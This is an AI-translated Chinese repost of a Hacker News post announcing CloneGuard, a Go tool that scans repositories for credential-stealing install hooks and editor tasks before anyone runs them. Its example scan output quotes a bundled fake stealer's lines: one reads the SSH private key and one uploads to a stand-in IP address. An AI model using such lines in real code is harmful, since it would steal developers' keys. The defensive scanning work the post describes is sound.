
CloneGuard:运行前先扫描代码库,防范凭证窃取陷阱
来源标题:HN: CloneGuard – scan a repo for credential-stealing tricks before you run it
开发者发布了一款名为 CloneGuard 的 Go 命令行工具,可在运行项目前扫描其中是否藏有窃取凭证的恶意手法。该工具无第三方依赖,只读取文件,不会执行、安装或导入被扫描项目的任何内容。它源于一次伪装成招聘方的「demo app」试图窃取 SSH 和 AWS 密钥的事件。
以下正文由 AI 翻译自 Hacker News(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。
在运行项目之前,先扫描它是否藏有恶意软件的伎俩。这个工具是在一个伪装成招聘者的“演示应用”试图窃取 SSH 和 AWS 密钥之后做出来的。
cloneguard 是一个小巧、无依赖的 Go 命令行工具。它只读取文件。它绝不会运行、安装或导入它所扫描项目中的任何内容。
一种常见的攻击是这样的:有人冒充招聘者,发给你一份“回家作业”或“演示应用”。你把它克隆下来,运行 npm install 或在编辑器里打开它,它就会悄悄上传你的 SSH 密钥、云凭证、浏览器密码或加密钱包。触发点往往不是应用本身,而是安装钩子或编辑器任务——你一打开文件夹它们就会运行。
cloneguard 是一个快速的第一道检查,能抓住常见的伎俩,让你判断这个项目是否可以安全接触。
需要 Go 1.24+。没有任何第三方依赖。
go build -o cloneguard ./cmd/cloneguard
可选地把二进制文件放到你的 PATH 上,例如 mv cloneguard /usr/local/bin/。
cloneguard clone https://github.com/someone/demo-app # 克隆后立即扫描 cloneguard scan ./some-folder # 扫描已有文件夹 cloneguard scan # 扫描当前文件夹 cloneguard ./some-folder # scan 的简写 cloneguard scan --json ./some-folder # 机器可读的输出
clone 会执行 git clone(只下载文件,不会执行项目代码),把仓库克隆到以仓库名命名的文件夹,如果你给了 [dir] 就克隆到该目录,然后进行扫描。
其他命令:cloneguard help、cloneguard version。
代码 判定 含义 0 clean 未发现危险信号 1 caution 只有中等严重度的发现 2 suspicious 至少有一个高严重度的发现 3 dangerous 至少有一个严重级别的发现 10 error 用法错误、路径不可读,或 git clone 失败
这使得它很容易用在脚本或 git 钩子里,例如 cloneguard scan . || exit 1。
扫描自带的 demo/ 文件夹,其中包含一个伪造的窃取程序和一个自动运行的 VS Code 任务:
$ cloneguard scan --no-color demo DANGEROUS 不要运行或安装此项目中的任何内容。 1 个严重,2 个高危,1 个中危,0 个低危 [CRITICAL] util.js:1 既伸手要你的密钥,又与可疑服务器通信 [HIGH] .vscode/tasks.json:1 你一打开文件夹就运行命令 [HIGH] util.js:1 触碰你的 SSH 密钥
readFile("~/.ssh/id_rsa"); [MEDIUM] util.js:2 连接到一个裸 IP 地址 fetch("http://203.0.113.7:8080/upload");
每条发现都会显示文件和行号、有问题的代码片段,以及用通俗语言解释它为什么重要的说明。(以上输出有删节。)
"root": "demo
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。